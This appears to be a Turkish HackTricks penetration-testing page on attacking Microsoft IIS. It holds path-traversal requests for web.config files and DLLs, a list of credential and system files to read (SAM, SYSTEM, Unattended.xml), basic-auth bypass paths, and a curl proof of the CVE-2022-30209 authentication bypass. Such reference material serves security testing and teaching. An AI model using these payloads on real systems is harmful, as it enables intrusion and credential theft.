16 KiB
IIS - Internet Information Services
{% hint style="success" %}
AWS Hacking öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Test edilebilir dosya uzantıları:
- asp
- aspx
- config
- php
Dahili IP Adresi ifşası
302 aldığınız herhangi bir IIS sunucusunda, Host başlığını kaldırmayı deneyebilir ve HTTP/1.0 kullanabilirsiniz; yanıtta Location başlığı size dahili IP adresine işaret edebilir:
nc -v domain.com 80
openssl s_client -connect domain.com:443
İç IP'yi ifşa eden yanıt:
GET / HTTP/1.0
HTTP/1.1 302 Moved Temporarily
Cache-Control: no-cache
Pragma: no-cache
Location: https://192.168.5.237/owa/
Server: Microsoft-IIS/10.0
X-FEServer: NHEXCHANGE2016
.config dosyalarını çalıştırma
.config dosyalarını yükleyebilir ve bunları kod çalıştırmak için kullanabilirsiniz. Bunu yapmanın bir yolu, dosyanın sonuna bir HTML yorumu içinde kod eklemektir: Örneği buradan indirin
Bu güvenlik açığını istismar etmek için daha fazla bilgi ve teknikler burada bulunmaktadır.
IIS Keşif Bruteforce
Oluşturduğum listeyi indirin:
{% file src="../../.gitbook/assets/iisfinal.txt" %}
Aşağıdaki listelerin içeriklerini birleştirerek oluşturuldu:
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt
http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html
https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt
https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt
Bunu herhangi bir uzantı eklemeden kullanın, gerekli olan dosyalar zaten buna sahiptir.
Yol Traversal
Kaynak kodunun sızdırılması
Tam yazımı kontrol edin: https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html
{% hint style="info" %}
Özetle, uygulamanın klasörlerinde "assemblyIdentity" dosyalarına ve "namespaces" referanslarına sahip birkaç web.config dosyası bulunmaktadır. Bu bilgilerle çalıştırılabilir dosyaların nerede bulunduğunu bilmek ve bunları indirmek mümkündür.
İndirilen Dll'lerden yeni namespaces bulmak ve bunlara erişmeye çalışmak için web.config dosyasını almak da mümkündür.
Ayrıca, connectionstrings.config ve global.asax dosyaları ilginç bilgiler içerebilir.\
{% endhint %}
.Net MVC uygulamalarında, web.config dosyası, uygulamanın bağımlı olduğu her ikili dosyayı "assemblyIdentity" XML etiketleri aracılığıyla belirterek kritik bir rol oynar.
İkili Dosyaları Keşfetme
web.config dosyasına erişim örneği aşağıda gösterilmiştir:
GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
Host: example-mvc-application.minded
Bu istek, aşağıdaki gibi çeşitli ayarları ve bağımlılıkları ortaya çıkarır:
- EntityFramework sürümü
- Web sayfaları, istemci doğrulaması ve JavaScript için AppSettings
- Kimlik doğrulama ve çalışma zamanı için System.web yapılandırmaları
- System.webServer modül ayarları
- Microsoft.Owin, Newtonsoft.Json ve System.Web.Mvc gibi birçok kütüphane için Runtime derleme bağlamaları
Bu ayarlar, /bin/WebGrease.dll gibi belirli dosyaların uygulamanın /bin klasöründe bulunduğunu gösterir.
Kök Dizin Dosyaları
Kök dizinde bulunan /global.asax ve hassas şifreler içeren /connectionstrings.config gibi dosyalar, uygulamanın yapılandırması ve çalışması için gereklidir.
Ad Alanları ve Web.Config
MVC uygulamaları, her dosyada tekrarlayan bildirimlerden kaçınmak için belirli ad alanları için ek web.config dosyaları tanımlar; bu, başka bir web.config indirme isteği ile gösterilmiştir:
GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
Host: example-mvc-application.minded
DLL'leri İndirme
Özel bir ad alanının belirtilmesi, /bin dizininde bulunan "WebApplication1" adlı bir DLL'ye işaret eder. Bunu takiben, WebApplication1.dll indirmek için bir istek gösterilmektedir:
GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
Host: example-mvc-application.minded
Bu, /bin dizininde System.Web.Mvc.dll ve System.Web.Optimization.dll gibi diğer önemli DLL'lerin varlığını önerir.
Bir DLL'nin WebApplication1.Areas.Minded adlı bir ad alanını içe aktardığı bir senaryoda, bir saldırgan, /bin klasöründeki diğer DLL'lere özel yapılandırmalar ve referanslar içeren, /area-name/Views/ gibi öngörülebilir yollarla başka web.config dosyalarının varlığını çıkarabilir. Örneğin, /Minded/Views/web.config isteği, başka bir DLL'nin, WebApplication1.AdditionalFeatures.dll varlığını gösteren yapılandırmaları ve ad alanlarını açığa çıkarabilir.
Yaygın dosyalar
C:\Apache\conf\httpd.conf
C:\Apache\logs\access.log
C:\Apache\logs\error.log
C:\Apache2\conf\httpd.conf
C:\Apache2\logs\access.log
C:\Apache2\logs\error.log
C:\Apache22\conf\httpd.conf
C:\Apache22\logs\access.log
C:\Apache22\logs\error.log
C:\Apache24\conf\httpd.conf
C:\Apache24\logs\access.log
C:\Apache24\logs\error.log
C:\Documents and Settings\Administrator\NTUser.dat
C:\php\php.ini
C:\php4\php.ini
C:\php5\php.ini
C:\php7\php.ini
C:\Program Files (x86)\Apache Group\Apache\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache\logs\access.log
C:\Program Files (x86)\Apache Group\Apache\logs\error.log
C:\Program Files (x86)\Apache Group\Apache2\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache2\logs\access.log
C:\Program Files (x86)\Apache Group\Apache2\logs\error.log
c:\Program Files (x86)\php\php.ini"
C:\Program Files\Apache Group\Apache\conf\httpd.conf
C:\Program Files\Apache Group\Apache\conf\logs\access.log
C:\Program Files\Apache Group\Apache\conf\logs\error.log
C:\Program Files\Apache Group\Apache2\conf\httpd.conf
C:\Program Files\Apache Group\Apache2\conf\logs\access.log
C:\Program Files\Apache Group\Apache2\conf\logs\error.log
C:\Program Files\FileZilla Server\FileZilla Server.xml
C:\Program Files\MySQL\my.cnf
C:\Program Files\MySQL\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.cnf
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.1\my.cnf
C:\Program Files\MySQL\MySQL Server 5.1\my.ini
C:\Program Files\MySQL\MySQL Server 5.5\my.cnf
C:\Program Files\MySQL\MySQL Server 5.5\my.ini
C:\Program Files\MySQL\MySQL Server 5.6\my.cnf
C:\Program Files\MySQL\MySQL Server 5.6\my.ini
C:\Program Files\MySQL\MySQL Server 5.7\my.cnf
C:\Program Files\MySQL\MySQL Server 5.7\my.ini
C:\Program Files\php\php.ini
C:\Users\Administrator\NTUser.dat
C:\Windows\debug\NetSetup.LOG
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattended.xml
C:\Windows\php.ini
C:\Windows\repair\SAM
C:\Windows\repair\system
C:\Windows\System32\config\AppEvent.evt
C:\Windows\System32\config\RegBack\SAM
C:\Windows\System32\config\RegBack\system
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SecEvent.evt
C:\Windows\System32\config\SysEvent.evt
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\drivers\etc\hosts
C:\Windows\System32\winevt\Logs\Application.evtx
C:\Windows\System32\winevt\Logs\Security.evtx
C:\Windows\System32\winevt\Logs\System.evtx
C:\Windows\win.ini
C:\xampp\apache\conf\extra\httpd-xampp.conf
C:\xampp\apache\conf\httpd.conf
C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log
C:\xampp\FileZillaFTP\FileZilla Server.xml
C:\xampp\MercuryMail\MERCURY.INI
C:\xampp\mysql\bin\my.ini
C:\xampp\php\php.ini
C:\xampp\security\webdav.htpasswd
C:\xampp\sendmail\sendmail.ini
C:\xampp\tomcat\conf\server.xml
HTTPAPI 2.0 404 Hatası
Eğer aşağıdaki gibi bir hata görüyorsanız:
Bu, sunucunun Host başlığı içinde doğru alan adını almadığı anlamına gelir.
Web sayfasına erişmek için sunulan SSL Sertifikasına bakabilir ve belki orada alan/ad alanı adını bulabilirsiniz. Eğer orada yoksa, doğru olanı bulana kadar VHosts brute force yapmanız gerekebilir.
Bakılması gereken eski IIS zafiyetleri
Microsoft IIS tilde karakteri “~” Zafiyeti/Özelliği – Kısa Dosya/Klasör Adı Sızdırma
Bu teknik ile her keşfedilen klasörün içinde klasörleri ve dosyaları listelemeyi deneyebilirsiniz (temel kimlik doğrulama gerektirse bile).
Bu tekniğin ana sınırlaması, sunucu zayıfsa, her dosya/klasörün adının ilk 6 harfini ve dosyaların uzantısının ilk 3 harfini bulabilmesidir.
Bu zafiyeti test etmek için https://github.com/irsdl/IIS-ShortName-Scanner kullanabilirsiniz:java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/
Orijinal araştırma: https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf
Ayrıca metasploit kullanabilirsiniz: use scanner/http/iis_shortname_scanner
Temel Kimlik Doğrulama atlatma
Atlatma bir temel kimlik doğrulama (IIS 7.5) erişmeye çalışarak: /admin:$i30:$INDEX_ALLOCATION/admin.php
veya /admin::$INDEX_ALLOCATION/admin.php
Yeni klasörler bulmak ve kimlik doğrulamayı atlatmak için bu zafiyeti ve sonuncusunu karıştırmayı deneyebilirsiniz.
ASP.NET Trace.AXD etkin hata ayıklama
ASP.NET, bir hata ayıklama modu içerir ve dosyası trace.axd
olarak adlandırılır.
Bu, bir uygulamaya yapılan tüm isteklerin çok ayrıntılı bir kaydını tutar.
Bu bilgi, uzak istemci IP'leri, oturum kimlikleri, tüm istek ve yanıt çerezleri, fiziksel yollar, kaynak kodu bilgileri ve potansiyel olarak kullanıcı adları ve şifreleri içerir.
https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/
ASPXAUTH Çerezi
ASPXAUTH aşağıdaki bilgileri kullanır:
validationKey
(string): imza doğrulama için kullanılacak hex kodlu anahtar.decryptionMethod
(string): (varsayılan “AES”).decryptionIV
(string): hex kodlu başlatma vektörü (varsayılan sıfır vektörüdür).decryptionKey
(string): şifreleme için kullanılacak hex kodlu anahtar.
Ancak, bazı insanlar bu parametrelerin varsayılan değerlerini kullanacak ve kullanıcının e-posta adresini çerez olarak kullanacaktır. Bu nedenle, ASPXAUTH çerezini kullanan aynı platformu kullanan bir web bulursanız ve saldırı altındaki sunucuda taklit etmek istediğiniz kullanıcının e-posta adresiyle bir kullanıcı oluşturursanız, ikinci sunucudan çerezi birincisinde kullanma şansınız olabilir ve kullanıcıyı taklit edebilirsiniz.
Bu saldırı bu yazıda çalıştı.
Önbelleğe alınmış şifrelerle IIS Kimlik Doğrulama Atlatma (CVE-2022-30209)
Tam rapor burada: Kodda bir hata, kullanıcı tarafından verilen şifreyi düzgün bir şekilde kontrol etmedi, bu nedenle şifre hash'i önbellekte zaten bulunan bir anahtara denk gelen bir saldırgan, o kullanıcı olarak giriş yapabilecektir.
# script for sanity check
> type test.py
def HashString(password):
j = 0
for c in map(ord, password):
j = c + (101*j)&0xffffffff
return j
assert HashString('test-for-CVE-2022-30209-auth-bypass') == HashString('ZeeiJT')
# before the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 401 Unauthorized
# after the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 200 OK
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- Bize katılın 💬 Discord grubuna veya telegram grubuna veya bizi Twitter'da 🐦 @hacktricks_live** takip edin.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.